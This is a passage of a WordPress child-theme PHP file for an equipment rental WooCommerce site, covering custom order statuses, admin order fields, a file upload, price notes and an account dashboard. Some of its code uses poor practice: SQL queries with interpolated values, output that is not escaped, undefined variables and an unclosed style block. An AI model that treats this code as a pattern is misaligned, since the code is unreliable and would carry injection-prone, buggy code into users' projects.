        <div style="background-color: white; margin: 7% auto; padding: 20px; border: 1px solid #888; width: 80%; max-width: 600px;">
            <span onclick="togglePopup()" style="color: #aaa; float: right; font-size: 35px; font-weight: bold; cursor: pointer;">&times;</span>
            <h5 class="mb-0" style="color:#FFBD2B;font-size: 18px;">GET IN TOUCH</h5>
            <h2 style="font-size:34px;">Send Us Enquiry</h2>
            
            <?php include get_stylesheet_directory() . '/enquirypage.php'; ?>
        </div>
    </div>
    <?php
    return ob_get_clean();
}
add_shortcode('enquiry_popup', 'enquiry_popup_shortcode');



// Register shortcode to include enquiry form
function childtheme_enquiry_form_shortcode() {
    ob_start();
    include get_stylesheet_directory() . '/enquirypage.php';
    return ob_get_clean();
}
add_shortcode('enquiry_form', 'childtheme_enquiry_form_shortcode');


// remove add to cart
remove_action('woocommerce_after_shop_loop_item', 'woocommerce_template_loop_add_to_cart');

// Display custom fields in order edit page --shejad
function display_start_date_in_order_notes($order)
{
	$order_id = $order->get_id();

    // Default values
    $agreement_id = get_post_meta($order_id, 'agreement_id', true);
    $rental_amount = '';
    $start_date = '';
    $end_date = '';
    $location = '';

    // Get first item of the order
    $items = $order->get_items();
    foreach ($items as $item) {
        // Get item meta (case-sensitive!)
        $start_date = $item->get_meta('Start Date', true);
        $end_date   = $item->get_meta('End Date', true);
        $location   = $item->get_meta('Location', true);
		$subtotal    = $item->get_subtotal();
        $subtotal_tax = $item->get_subtotal_tax();
        $rental_amount = $subtotal + $subtotal_tax;
		$product_id = $item->get_product_id();

		// Check if product is in "buy" category
		if (has_term('buy', 'product_cat', $product_id)) {
			// If "buy" category, ignore tax
			$rental_amount = $subtotal;
		} else {
			// Otherwise, include tax
			$rental_amount = $subtotal + $subtotal_tax;
		}
//         $rental_amount = $item->get_meta('Calculated Price', true);
        break; // Only first item
    }

    // Other meta
    $deposit_amount = get_post_meta($order_id, 'deposit_amount', true);
    $utr_value = get_post_meta($order_id, 'utr_field', true);
    $file_path = get_post_meta($order_id, '_custom_upload_file', true);
    $doc_reference_num = get_post_meta($order_id, 'doc_reference_num', true);
    $payment_date = get_post_meta($order_id, 'payment_date', true);

	
	$agreement_id = get_post_meta($order_id, 'agreement_id', true);
// 	$start_date = get_post_meta($order_id, 'start_date', true);
// 	$end_date = get_post_meta($order_id, 'end_date', true);
// 	$rental_amount = get_post_meta($order_id, 'rental_amount', true);
// 	$deposit_amount = get_post_meta($order_id, 'deposit_amount', true);
// 	$_number_shifts_required = get_post_meta($order_id, '_number_shifts_required', true);
// 	$assign_location_id = get_post_meta($order_id, 'assign_location_id', true);
// 	$utr_value = get_post_meta($order->get_id(), 'utr_field', true);
// 	$file_path = get_post_meta($order->get_id(), '_custom_upload_file', true);
	// Added on 28-11-2024
// 	$doc_reference_num = get_post_meta($order->get_id(), 'doc_reference_num', true);
// 	$payment_date = get_post_meta($order->get_id(), 'payment_date', true);
	// $order_location = get_post_meta($order_id, 'order_location', true);
	$order_region = get_post_meta($order_id, 'order_region', true);
// 	$location = get_post_meta($order_id, 'order_location', true);

	// Fetch location name from custom database table 'wp_zone_address' using the assign_location_id
	$assign_location_name = '';
	global $wpdb;
	if (!empty($assign_location_id)) {
		$table_name = $wpdb->prefix . 'zone_address'; // Assuming the table is wp_zone_address
		$assign_location_name = $wpdb->get_var($wpdb->prepare(
			"SELECT location_name FROM $table_name WHERE id = %d",
			$assign_location_id
		));
	}

	// Get product price if product is already added to order
	$items = $order->get_items();
	$product_price = 0;
	foreach ($items as $item) {
		$product = $item->get_product();
		if ($product) {
			$model_name = get_post_meta($product->get_id(), 'model_name', true);
			$product_price = $product->get_price();
			break; // Only get price of the first product
		}
	}
	?>
<div class="field-container">
    <div class="field">
        <input style="visibility: hidden; margin-bottom:-16px;" type="text" />
        <input type="hidden" name="agreement_id" value="<?php echo esc_attr($agreement_id); ?>">
    </div>
    <div class="field">
        <h3 style="margin-top:5px;"><?php esc_html_e('Model Name'); ?></h3>
        <input type="text" id="model_name" name="model_name" value="<?php echo esc_attr($model_name); ?>"
            class="widefat" />
    </div>
    <div class="field">
        <h3 style="margin-top:5px;"><?php esc_html_e('Start Date'); ?></h3>
        <input type="text" id="start_date" name="start_date"
            value="<?php echo !empty($start_date) ? esc_attr(date('d-m-Y', strtotime($start_date))) : ''; ?>"
            class="widefat helloooooo" />
    </div>
    <div class="field">
        <h3><?php esc_html_e('End Date'); ?></h3>
        <input type="text" id="end_date" name="end_date"
            value="<?php echo !empty($end_date) ? esc_attr(date('d-m-Y', strtotime($end_date))) : ''; ?>"
            class="widefat" />
    </div>
<!--     <div class="field">
        <h3><?php _e('No Of Shifts:', 'your-textdomain'); ?></h3>
        <?php
		// $shift_text = '';
		// if ($custom_field_value == '1') {
		// 	$shift_text = __('1 Shift (8 hours)', 'your-textdomain');
		// } elseif ($custom_field_value == '2') {
		// 	$shift_text = __('2 Shifts (16 hours)', 'your-textdomain');
		// } elseif ($custom_field_value == '3') {
		// 	$shift_text = __('3 Shifts (24 hours)', 'your-textdomain');
		// }
			?>
        <input type="text" id="number_shifts_required" name="_number_shifts_required"
            value="<?php echo esc_attr($_number_shifts_required); ?>" class="widefat" />
    </div> -->
    <div class="field">
        <input style="visibility: hidden; margin-bottom:-16px;" type="text" />
    </div>
    <div class="field">
        <h3 style="margin-top:-2px;"><?php esc_html_e('Rental Amount'); ?></h3>
        <input type="text" id="rental_amount" name="rental_amount" value="<?php echo esc_attr($rental_amount); ?>"
            class="widefat " />
    </div>
    <div class="field">
        <h3><?php esc_html_e('Deposit Amount'); ?></h3>
        <input type="text" id="deposit_amount" name="deposit_amount" value="<?php echo esc_attr($deposit_amount); ?>"
            class="widefat " />
    </div>
    <!-- UTR Field Addition -->
    <div class="field">
        <h3><?php esc_html_e('UTR'); ?></h3>
        <input type="text" id="utr_field" name="utr_field" value="<?php echo esc_attr($utr_value); ?>"
            class="widefat" />
    </div>
    <!-- for attach refernce 09/11/24  -->

    <div class="custom-upload-field">
        <h4><?php _e('Attach Reference File', 'your-text-domain'); ?></h4>

        <?php
		// Get the current order ID
		$order_id = get_the_ID();
		$order = wc_get_order($order_id); // Get the WooCommerce order object

		// Check if the order status is 'pending'
		$is_pending = ($order && $order->get_status() === 'pending');
			?>

        <!-- Show the upload button only if the order status is 'pending' -->
        <input type="file" id="custom_file_input" <?php echo !$is_pending ? 'disabled' : ''; ?> />

        <button type="button" class="button button-primary" id="custom_upload_button"
            <?php echo !$is_pending ? 'disabled' : ''; ?>>
            <?php _e('Upload', 'your-text-domain'); ?>
        </button>

        <div id="upload_message">
            <?php if ($file_path): ?>
            <p><?php _e('To Save File Click on Update:', 'your-text-domain'); ?>
                <a href="<?php echo esc_url($file_path); ?>" target="_blank"><?php echo basename($file_path); ?></a>
            </p>
            <?php endif; ?>
        </div>
    </div>
    <!-- payment doc reference number -->
    <div class="field-container" style="display:flex;gap:20px;">
        <div class="field">
            <h3><?php esc_html_e('Payment doc reference number'); ?></h3>
            <input type="text" id="doc_reference_num" name="doc_reference_num"
                value="<?php echo esc_attr($doc_reference_num); ?>" class="widefat" />
        </div>

        <!-- for payment date -->
        <div class="field">
            <h3><?php esc_html_e('Payment Date'); ?></h3>
            <input type="date" id="payment_date" name="payment_date" value="<?php echo esc_attr($payment_date); ?>"
                class="widefat" />
        </div>
    </div>

    <!-- script for disable if status is not 'pending' 09/11/24 -->
    <script>
    // Disable the upload button and input field if order status is not 'pending'
    var isPending = <?php echo json_encode($is_pending); ?>;
    if (!isPending) {
        document.getElementById('custom_file_input').disabled = true;
        document.getElementById('custom_upload_button').disabled = true;
    }
    </script>

    <script>
    jQuery(document).ready(function($) {
        $('#custom_upload_button').on('click', function(e) {
            e.preventDefault();

            // Get the file input and order ID
            var fileInput = $('#custom_file_input')[0];
            if (!fileInput.files.length) {
                alert('Please select a file to upload.');
                return;
            }
            var file = fileInput.files[0];
            var orderID = <?php echo json_encode($order->get_id()); ?>; // Set your order ID here

            // Prepare form data for AJAX
            var formData = new FormData();
            formData.append('file', file);
            formData.append('order_id', orderID);
            formData.append('action', 'save_order_upload_file'); // Set action name

            // Send the AJAX request
            $.ajax({
                url: '<?php echo admin_url('admin-ajax.php'); ?>',
                type: 'POST',
                data: formData,
                processData: false,
                contentType: false,
                success: function(response) {
                    if (response.success) {
                        $('#upload_message').html('<p>' + response.data.message +
                            ': <a href="' + response.data.file_url +
                            '" target="_blank">' + response.data.file_name + '</a></p>');
                    } else {
                        $('#upload_message').html('<p>' + response.data.message + '</p>');
                    }
                },
                error: function() {
                    $('#upload_message').html(
                        '<p><?php _e('An error occurred during the upload.', 'your-text-domain'); ?></p>'
                    );
                }
            });
        });
    });
    </script>
    <!-- New Fields: Assign Location ID and Name -->
    <div class="field">
        <h3><?php esc_html_e('Location Name'); ?></h3>
        <input type="text" id="assign_location_name" name="assign_location_name"
            value="<?php echo esc_attr($location); ?>" class="widefat" />
    </div>
</div>
<?php
}
add_action('woocommerce_admin_order_data_after_order_details', 'display_start_date_in_order_notes');

// Save custom order meta field and date values
add_action('save_post_shop_order', 'save_custom_order_meta_and_dates', 10, 3);
function save_custom_order_meta_and_dates($order_id, $post, $update)
{
	// Check if it's an order post type
	if ($post->post_type !== 'shop_order') {
		return;
	}

	// Check user capabilities
	if (!current_user_can('edit_post', $order_id)) {
		return;
	}
	// Save custom order meta field
	if (isset($_POST['_number_shifts_required'])) {
		update_post_meta($order_id, '_number_shifts_required', sanitize_text_field($_POST['_number_shifts_required']));
	}

	if (isset($_POST['rental_amount'])) {
		update_post_meta($order_id, 'rental_amount', sanitize_text_field($_POST['rental_amount']));
	}
	if (isset($_POST['deposit_amount'])) {
		update_post_meta($order_id, 'deposit_amount', sanitize_text_field($_POST['deposit_amount']));
	}
	// Save UTR Fields
	if (isset($_POST['utr_field'])) {
		update_post_meta($order_id, 'utr_field', sanitize_text_field($_POST['utr_field']));
	}

	// Save date values
	if (isset($_POST['start_date']) && isset($_POST['end_date'])) {
		update_post_meta($order_id, 'start_date', sanitize_text_field($_POST['start_date']));
		update_post_meta($order_id, 'end_date', sanitize_text_field($_POST['end_date']));
	}

	//   save payment reference doc value
	if (isset($_POST['doc_reference_num'])) {
		update_post_meta($order_id, 'doc_reference_num', sanitize_text_field($_POST['doc_reference_num']));
	}

	// save payment date
	if (isset($_POST['payment_date'])) {
		update_post_meta($order_id, 'payment_date', sanitize_text_field($_POST['payment_date']));
	}
}
// End
// Change SKU text label in WooCommerce to 'Asset ID' --Bhaskar
function translate_woocommerce($translation, $text, $domain)
{
	if ($domain == 'woocommerce') {
		switch ($text) {
			case 'SKU':
				$translation = 'Asset ID';
				break;
			case 'SKU:':
				$translation = 'Asset ID';
				break;
		}
	}
	return $translation;
}
add_filter('gettext', 'translate_woocommerce', 10, 3);

// Display Asset ID in WooCommerce product listings --BHaskara
// function display_asset_id_in_product_loop()
// {
//     global $product;
//     if ($product && $product->get_sku()) {
//         echo '<div style="padding-bottom:2px; color:#db9500;font-weight: 700;font-size: 15px;" class="product-sku">Asset ID: ' . $product->get_sku() . '</div>';
//         echo '<div style="padding-bottom:2px; color:#db9500;font-weight: 700;font-size: 12px;" class="product-sku">Yard Location: ' . $product->get_meta('yard_location', true) . '</div>';

//     }
// }
// add_action('woocommerce_after_shop_loop_item_title', 'display_asset_id_in_product_loop', 5);

// Display Asset ID on single product pages --Bhaskara
function display_asset_id_on_single_product() {
    // Ensure we're on a product page (optional but safe)
    if ( ! is_product() ) {
        return;
    }

    global $product;

    // If global $product isn't available, try to load it
    if ( empty( $product ) || ! is_a( $product, 'WC_Product' ) ) {
        $product = wc_get_product( get_the_ID() );
        if ( empty( $product ) || ! is_a( $product, 'WC_Product' ) ) {
            return; // nothing to show
        }
    }

    $product_id = $product->get_id();

    // Get yard-location terms safely
    $taxonomy = 'pa_yard-location';
    $terms = wp_get_post_terms( $product_id, $taxonomy );
    $term_names = array();
    if ( ! is_wp_error( $terms ) && ! empty( $terms ) ) {
        foreach ( $terms as $term ) {
            $term_names[] = $term->name;
        }
    }
    $yard_location_output = ! empty( $term_names ) ? implode( ', ', $term_names ) : '';

    // SKU (Asset ID)
    $sku = (string) $product->get_sku(); // cast to string
    if ( $sku !== '' ) {
        echo '<div class="product-sku">'
            . '<img src="' . esc_url( '/wp-content/uploads/2025/08/Asset.svg' ) . '" alt="asset-icon" width="15" />'
            . '<span style="color: #A70705"> Asset ID: </span>'
            . '<span style="color:#000; text-transform: capitalize">' . esc_html( $sku ) . '</span>'
            . '</div>';
    }

    // Yard location
    if ( $yard_location_output !== '' ) {
        echo '<div class="product-sku">'
            . '<img src="' . esc_url( '/wp-content/uploads/2025/08/Vector.png' ) . '" alt="location-icon" width="15" />'
            . '<span style="color: #A70705"> Location: </span>'
            . '<span style="color:#000; text-transform: capitalize">' . esc_html( $yard_location_output ) . '</span>'
            . '</div>';
    }
}
add_action( 'woocommerce_single_product_summary', 'display_asset_id_on_single_product', 25 );



add_filter('gettext', 'translate_woocommerce', 10, 3);
// End

// Hook to display custom text below the product price--bhaskar
// add_action('woocommerce_single_product_summary', 'display_custom_text_below_price', 10);

// function display_custom_text_below_price() {
//     global $product;

//     // Get the product meta value for 'purpose_of_listing'
//     $purpose_of_listing = get_post_meta($product->get_id(), 'purpose_of_listing', true);

//     // Check if the purpose of listing is not 'Sales'
//     // if ($purpose_of_listing !== 'Sales') {
//     //     // Custom text to display
//     //     $custom_text = 'All the Prices are Inclusive of GST. The Price is Charged Hourly and displayed Price is 8 Hours/Day.';

//     //     // Output the custom text
//     //      echo '<div class="custom-text-below-price" style="color:black; font-size:20px;">' . esc_html($custom_text) . '</div>';
//     // }
// }
// End

//hook to display no price text --bhaskar--modified--24/03/2025
add_filter('woocommerce_get_price_html', 'custom_price_message');
function custom_price_message($price)
{
	if (!empty($price)) {
		$vat = '/-';
		return $price . $vat;
	} else {
		return 'Price is Available on Order';
	}
}

// Rename order status --bhaskar
// Order Closed --status

add_filter('wc_order_statuses', 'tb_rename_completed_order_status');

function tb_rename_completed_order_status($statuses)
{
	$statuses['wc-completed'] = 'Order Closed';
	return $statuses;
}

add_filter('woocommerce_register_shop_order_post_statuses', 'tb_rename_completed_order_status_counter');

function tb_rename_completed_order_status_counter($statuses)
{
	$statuses['wc-completed']['label_count'] = _n_noop('Order Closed <span class="count">(%s)</span>', 'Order Completed <span class="count">(%s)</span>', 'woocommerce');
	return $statuses;
}

// pending order status rename -- 28/12/2024

add_filter('wc_order_statuses', 'tb_rename_pending_order_status');

function tb_rename_pending_order_status($statuses)
{
	$statuses['wc-pending'] = 'pending Payment';
	return $statuses;
}

add_filter('woocommerce_register_shop_order_post_statuses', 'tb_rename_pending_order_status_counter');

function tb_rename_pending_order_status_counter($statuses)
{
	$statuses['wc-pending']['label_count'] = _n_noop('Pending Payment <span class="count">(%s)</span>', 'Pending Payment <span class="count">(%s)</span>', 'woocommerce');
	return $statuses;
}
// Order Created -- status

add_filter('wc_order_statuses', 'tb_rename_processing_order_status');

function tb_rename_processing_order_status($statuses)
{
	$statuses['wc-processing'] = 'Order Created';
	return $statuses;
}

add_filter('woocommerce_register_shop_order_post_statuses', 'tb_rename_processing_order_status_counter');

function tb_rename_processing_order_status_counter($statuses)
{
	$statuses['wc-processing']['label_count'] = _n_noop('Order Created <span class="count">(%s)</span>', 'Order Created <span class="count">(%s)</span>', 'woocommerce');
	return $statuses;
}

//New Order Status
// Security Deposit Paid --statsus-- bhaska

function register_sdp_order_status()
{
	register_post_status('wc-sdp', array(
		'label' => 'Sequrity Deposit Paid',
		'public' => true,
		'exclude_from_search' => false,
		'show_in_admin_all_list' => true,
		'show_in_admin_status_list' => true,
		'label_count' => _n_noop('Security Deposit Paid <span class="count">(%s)</span>', 'Security Deposit Paid <span class="count">(%s)</span>')
	));
}
add_action('init', 'register_sdp_order_status');


add_filter('wc_order_statuses', 'sdp_order_status');
function sdp_order_status($order_statuses)
{
	$order_statuses['wc-sdp'] = _x('Security Deposit Paid', 'Order status', 'woocommerce');
	return $order_statuses;
}

//Operator Assgined -- Status -Saravana
function register_operator_assigned_order_status()
{
	register_post_status('wc-opassigned', array(
		'label' => 'Operator Assgined',
		'public' => true,
		'exclude_from_search' => false,
		'show_in_admin_all_list' => true,
		'show_in_admin_status_list' => true,
		'label_count' => _n_noop('Operator Assigned <span class="count">(%s)</span>', 'Operator Assigned <span class="count">(%s)</span>')
	));
}
add_action('init', 'register_operator_assigned_order_status');


add_filter('wc_order_statuses', 'operator_assigned_order_status');
function operator_assigned_order_status($order_statuses)
{
	$order_statuses['wc-opassigned'] = _x('Operator Assigned', 'Order status', 'woocommerce');
	return $order_statuses;
}

//Equipment Sent --status

function register_equipment_sent_order_status()
{
	register_post_status('wc-equipment_sent', array(
		'label' => 'Equipment Sent',
		'public' => true,
		'exclude_from_search' => false,
		'show_in_admin_all_list' => true,
		'show_in_admin_status_list' => true,
		'label_count' => _n_noop('Equipment Sent <span class="count">(%s)</span>', 'Equipment Sent <span class="count">(%s)</span>')
	));
}
add_action('init', 'register_equipment_sent_order_status');


add_filter('wc_order_statuses', 'equipment_sent_order_status');
function equipment_sent_order_status($order_statuses)
{
	$order_statuses['wc-equipment_sent'] = _x('Equipment Sent', 'Order status', 'woocommerce');
	return $order_statuses;
}

//Equipment at Work Location -- Status -bhaskar
function register_work_location_order_status()
{
	register_post_status('wc-work_location', array(
		'label' => 'Equipment at Work Location',
		'public' => true,
		'exclude_from_search' => false,
		'show_in_admin_all_list' => true,
		'show_in_admin_status_list' => true,
		'label_count' => _n_noop('Equipment at Work Location <span class="count">(%s)</span>', 'Equipment at Work Location <span class="count">(%s)</span>')
	));
}
add_action('init', 'register_work_location_order_status');


add_filter('wc_order_statuses', 'work_location_order_status');
function work_location_order_status($order_statuses)
{
	$order_statuses['wc-work_location'] = _x('Equipment at Work Location', 'Order status', 'woocommerce');
	return $order_statuses;
}

// Rental Period Over --Status

function register_rpo_order_status()
{
	register_post_status('wc-rpo', array(
		'label' => 'Rental Period Over',
		'public' => true,
		'exclude_from_search' => false,
		'show_in_admin_all_list' => true,
		'show_in_admin_status_list' => true,
		'label_count' => _n_noop('Rental Period Over <span class="count">(%s)</span>', 'Rental Period Over <span class="count">(%s)</span>')
	));
}
add_action('init', 'register_rpo_order_status');


add_filter('wc_order_statuses', 'rpo_order_status');
function rpo_order_status($order_statuses)
{
	$order_statuses['wc-rpo'] = _x('Rental Period Over', 'Order status', 'woocommerce');
	return $order_statuses;
}

//Equipment Received -- status

function register_received_order_status()
{
	register_post_status('wc-received', array(
		'label' => 'Equipment Received',
		'public' => true,
		'exclude_from_search' => false,
		'show_in_admin_all_list' => true,
		'show_in_admin_status_list' => true,
		'label_count' => _n_noop('Equipment Received <span class="count">(%s)</span>', 'Equipment Received <span class="count">(%s)</span>')
	));
}
add_action('init', 'register_received_order_status');


add_filter('wc_order_statuses', 'received_order_status');
function received_order_status($order_statuses)
{
	$order_statuses['wc-received'] = _x('Equipment Received', 'Order status', 'woocommerce');
	return $order_statuses;
}
// Status color change -- bhaskar
function tb_change_order_processing_row_color()
{ ?>

<style type="text/css">
.order-status.status-sdp {
    background-color: #7487f7;
    /* Blue */
    border-color: #ADD8E6;
    /* Blue border color */
    border-radius: 5px !important;
    padding: 4px;
    color: black;
}

.order-status.status-equipment_sent {
    background-color: #ff9000;
    /* Blue */
    border-color: #ADD8E6;
    /* Blue border color */
    border-radius: 5px !important;
    padding: 4px;
    color: black;
}

.order-status.status-work_location {
    background-color: #ADD8E6;
    /* Blue */
    border-color: #ADD8E6;
    /* Blue border color */
    border-radius: 5px !important;
    padding: 4px;
    color: black;
}

.order-status.status-rpo {
    background-color: #D8BFD8;
    /* Thistle */
    border-color: #D8BFD8;
    /* Thistle border color */
    border-radius: 5px !important;
    padding: 4px;
    color: black;
}

.order-status.status-received {
    background-color: #90EE90;
    /* Green */
    border-color: #90EE90;
    /* Green border color */
    border-radius: 5px !important;
    padding: 4px;
    color: black;
}

<?php
}

add_action('admin_head', 'tb_change_order_processing_row_color');

//Order Status rearrange--bhaskar
add_filter('wc_order_statuses', 'tb_get_order_statuses');

function tb_get_order_statuses($items) {
    $new_statuses=array('wc-processing'=> _x('Order Created', 'Order status', 'woocommerce'),
        'wc-sdp'=> _x('Security Deposit Paid', 'Order status', 'woocommerce'),
        'wc-equipmentassigned'=> _x('Equipment Assigned', 'Order status', 'woocommerce'),
        'wc-opassigned'=> _x('Operator Assigned', 'Order status', 'woocommerce'),
        'wc-equipment_sent'=> _x('Equipment Sent', 'Order status', 'woocommerce'),
        'wc-work_location'=> _x('Equipment at Work Location', 'Order status', 'woocommerce'),
        'wc-rpo'=> _x('Rental Period Over', 'Order status', 'woocommerce'),
        'wc-received'=> _x('Equipment Received', 'Order status', 'woocommerce'),
        'wc-completed'=> _x('Order Closed', 'Order status', 'woocommerce'),
        'wc-pending'=> _x('Pending Payment', 'Order status', 'woocommerce'),
        'wc-on-hold'=> _x('On Hold', 'Order status', 'woocommerce'),
        'wc-cancelled'=> _x('Cancelled', 'Order status', 'woocommerce'),
        'wc-refunded'=> _x('Refunded', 'Order status', 'woocommerce'),
        'wc-failed'=> _x('Payment Failed', 'Order status', 'woocommerce'),
    );
    return $new_statuses;
}

// Filter by Yard Location in Admin Product Page --bhaskar
// add_action('restrict_manage_posts', 'product_attribute_sorting_dropdown');
// function product_attribute_sorting_dropdown() {
//     global $typenow;
//     $taxonomy  = 'pa_yard-location';
//     if ( $typenow == 'product' ) {
//         $selected      = isset($_GET[$taxonomy]) ? $_GET[$taxonomy] : '';
//         $info_taxonomy = get_taxonomy($taxonomy);
//         wp_dropdown_categories(array(
//             'show_option_all' => __("{$info_taxonomy->label}"),
//             'taxonomy'        => $taxonomy,
//             'name'            => $taxonomy,
//             'orderby'         => 'name',
//             'selected'        => $selected,
//             'show_count'      => true,
//             'hide_empty'      => true,
//         ));
//     };
// }

add_action('parse_query', 'product_attribute_sorting_query');

function product_attribute_sorting_query($query) {
    global $pagenow;
    $taxonomy='pa_yard-location';
    $q_vars=&$query->query_vars;

    if ($pagenow=='edit.php'&& isset($q_vars['post_type']) && $q_vars['post_type']=='product'&& isset($q_vars[$taxonomy]) && is_numeric($q_vars[$taxonomy]) && $q_vars[$taxonomy] !=0) {
        $term=get_term_by('id', $q_vars[$taxonomy], $taxonomy);
        $q_vars[$taxonomy]=$term->slug;
    }
}

//remove Producyt type Filter in Product admin page---bhaskar
add_filter('woocommerce_products_admin_list_table_filters', 'remove_products_admin_list_table_filters', 10, 1);

function remove_products_admin_list_table_filters($filters) {
    // Remove "Product type" dropdown filter
    if (isset($filters['product_type'])) unset($filters['product_type']);


    return $filters;
}

// ADDING 2 NEW COLUMNS WITH THEIR TITLES (before "Total" and "Actions" columns)--bhaskar
add_filter('manage_edit-shop_order_columns', 'add_admin_order_list_custom_column', 20);

function add_admin_order_list_custom_column($columns) {
    $reordered_columns=array();

    // Inserting columns to a specific location
    foreach ($columns as $key=> $column) {
        $reordered_columns[$key]=$column;

        if ($key=='order_status') {
            // Inserting after "Status" column
            $reordered_columns['my-column1']=__('Work Location', 'theme_domain');
        }
    }

    return $reordered_columns;
}

// Adding custom fields meta data for each new column (example)---bhaskar
add_action('manage_shop_order_posts_custom_column', 'display_admin_order_list_custom_column_content', 20, 2);

function display_admin_order_list_custom_column_content($column, $post_id) {
    global $the_order;

    switch ($column) {
        case 'my-column1':
            // Get custom order metadata
            $value=$the_order->get_meta('_billing_city');

        if ( !empty($value)) {
            echo $value;
        }

        // For testing (to be removed) - Empty value case
        else {
            echo '<small>(<em>no value</em>)</small>';
        }

        break;
    }
}

// ADDING A CUSTOM COLUMN YARD LOCATION TO ADMIN PRODUCTS LIST --bhaskar
add_filter('manage_edit-product_columns', 'tb_product_column', 20);

function tb_product_column($columns) {
    $reordered_columns=array();

    foreach ($columns as $key=> $column) {
        $reordered_columns[$key]=$column;

        if ($key=='name') {
            $reordered_columns['yard-location']=__('Yard Location');
        }
    }

    return $reordered_columns;
}

add_action('manage_product_posts_custom_column', 'tb_product_list_column_content', 10, 2);

function tb_product_list_column_content($column, $product_id) {
    global $post;
    $yard_location=get_post_meta($product_id, 'yard_location', true);

    switch ($column) {
        case 'yard-location': if ( !empty($yard_location)) {
            echo $yard_location;
        }

        else {
            echo '<small>(<em>no value</em>)</small>';
        }

        break;
    }
}

// Price note added --Bhaskara-- modified--24/03/2025 
function add_price_note_after_price($price, $product) {
    // Get the product meta value for 'purpose_of_listing'
    $purpose_of_listing=get_post_meta($product->get_id(), 'purpose_of_listing', true);

    // Check if the purpose of listing is not 'Sales'
    if ($purpose_of_listing==='Renting') {
        $price_note='<br><span style="font-size: 14px;color:#7F7F7F;margin-left:2px;">*Immediate Delivery</span>'; // Customize your note here
        return $price . $price_note;
    }

    elseif ($purpose_of_listing === 'Sales') {
		$booking_amount = ($product->get_price()) * 0.05;
		$formatted_amount = '₹' . number_format($booking_amount, 2);
		$price_note = '<br style="display: block"><span style="font-size: 12px;">*Book this product at 5% rate (' . $formatted_amount . ')</span>';
		return $price . $price_note;
	}

    else {
        $price_note='<br><span style="font-size: 12px;">*Plus Applicable Tax for </span><span style="font-size:12px;">8Hr</span> <span style="font-size:12px !Important;margin-left: -2px !important;">Shift<br>*Delivery will take 2 to 4 weeks</span>'; // Customize your note here
        return $price . $price_note;
    }
}

add_filter('woocommerce_get_price_html', 'add_price_note_after_price', 10, 2);


// // remove .00 decimal from all product prices
// function remove_decimal_zero_from_price($price, $product) {
//     // Check if the price has decimals
//     if (strpos($price, '.00') !== false) {
//         // Remove .00 from the price
//         $price = str_replace('.00', '', $price);
//     }
//     return $price;
// }
// add_filter('woocommerce_get_price_html', 'remove_decimal_zero_from_price', 100, 2);


// added shortcode for data cards
function my_account_data_cards() {
    if ( !is_user_logged_in()) {
        return '';
    }

    ob_start();
    $current_user_id=get_current_user_id();
    //  //Query to count RFQ  for the logged-in user
    global $wpdb;
    $rfq_table=$wpdb->prefix . 'request_quote';
    $rfq_query=$wpdb->prepare("
SELECT COUNT(*) AS rfq_count FROM $rfq_table WHERE user_id=%d ", $current_user_id);
$rfq_count=$wpdb->get_var($rfq_query);

        // Query to count enquiries for the logged-in user
        $leads_name=$wpdb->prefix . 'leads';
        $enquiry_query=$wpdb->prepare("
SELECT COUNT(*) AS enquiry_count FROM $leads_name WHERE user_id=%d ", $current_user_id);
$enquiry_count=$wpdb->get_var($enquiry_query);

            //Query to count Quotation  for the logged-in user
            $quotation_count=$wpdb->get_var($wpdb->prepare("SELECT COUNT(*) FROM wp_quotation WHERE user_id = %d AND cs_view = 1",
                    $current_user_id));

            // Query to Count Agreements for logged in user

            $agreement_count=$wpdb->get_var($wpdb->prepare("SELECT count(*)
FROM wp_agreement ag INNER JOIN wp_quotation qt ON ag.qt_id=qt.id WHERE qt.user_id=%d",
$current_user_id));
$order_count = $wpdb->get_var($order_query);
            // Query to count orders for the logged-in user
            $table_post=$wpdb->prefix . 'postmeta';

            $order_query=$wpdb->prepare("SELECT COUNT(*) AS order_count FROM $table_post AS pm INNER JOIN {$wpdb->posts} AS p ON pm.post_id=p.ID WHERE p.post_type='shop_order' AND pm.meta_key='_customer_user' AND pm.meta_value=%d AND p.post_status IN ('wc-work_order', 'wc-completed', 'wc-processing', 'wc-pending', 'wc-sdp', 'wc-opassigned', 'wc-equipmentassigned', 'wc-equipment_sent', 'wc-work_location', 'wc-rpo', 'wc-received') ", $current_user_id);
$order_count=$wpdb->get_var($order_query);

                $current_user=wp_get_current_user();
                $user_roles=$current_user->roles;

                // Check if the current user has the 'operator' role
                $is_operator=in_array('operator', $user_roles);

                ?> <style>.menu {
                    display: none;
                    width: 100%;
                    overflow: hidden;
                }

                #wooAccount {
                    display: none;
                    margin: 20px 0;
                }
</style>
<div class="menu-container">
    <div class="cards-container">
        <?php if ($is_operator): ?>
        <div class="card">
            <?php
	$raiseuser_id = get_current_user_id();
	$raiseTktquery = $wpdb->prepare("SELECT COUNT(*) FROM wp_raise_tickets where operator_id = $raiseuser_id");
	// Get the count
	$raiseTktcount = $wpdb->get_var($raiseTktquery);
			?>
            <a href="<?php echo esc_url(home_url('/my-account/operator-tickets')); ?>" target="_blank">
                <div class="card-content">
                    <h5>Tickets</h5>
                    <h3><?php echo $raiseTktcount ?? '0'; ?></h3>
                    <!-- Adjust this to the correct count for tickets if different -->
                </div>
            </a>
        </div>

        <div class="card">
            <?php
	$servicerequser_id = get_current_user_id();
	$servReqquery = $wpdb->prepare("SELECT COUNT(*) FROM wp_service_request where operator_id = $servicerequser_id");
	// Get the count
	$servReqcount = $wpdb->get_var($servReqquery);
			?>
            <a href="<?php echo esc_url(home_url('/my-account/operator-new-request')); ?>" target="_blank">
                <div class="card-content">
                    <h5>New Requests</h5>
                    <h3><?php echo $servReqcount ?? '0'; ?></h3>
                    <!-- Adjust this to the correct count for service requests if different -->
                </div>
            </a>
        </div>
        <?php else: ?>
        <div class="card">
            <a href="<?php echo esc_url(home_url('/my-account/enquiry')); ?>" target="_blank">
				<div class="icon-circle">
					<img src="/wp-content/uploads/2025/09/enquiries.png" alt="enquiries" />
				</div>
                <div class="card-content">
                    <h5>Enquiries</h5>
                    <h3><?php echo esc_html($enquiry_count); ?></h3>
                </div>
            </a>
        </div>
        <div class="card">
            <a href="<?php echo esc_url(home_url('/my-account/rfq')); ?>" target="_blank">
				<div class="icon-circle">
					<img src="/wp-content/uploads/2025/09/rfq.png" alt="rfq" />
				</div>
                <div class="card-content">
                    <h5>RFQ</h5>
                    <h3><?php echo esc_html($rfq_count); ?></h3>
                </div>
            </a>
        </div>
        <?php endif; ?>

        <?php if (!$is_operator): ?>
        <div class="card">
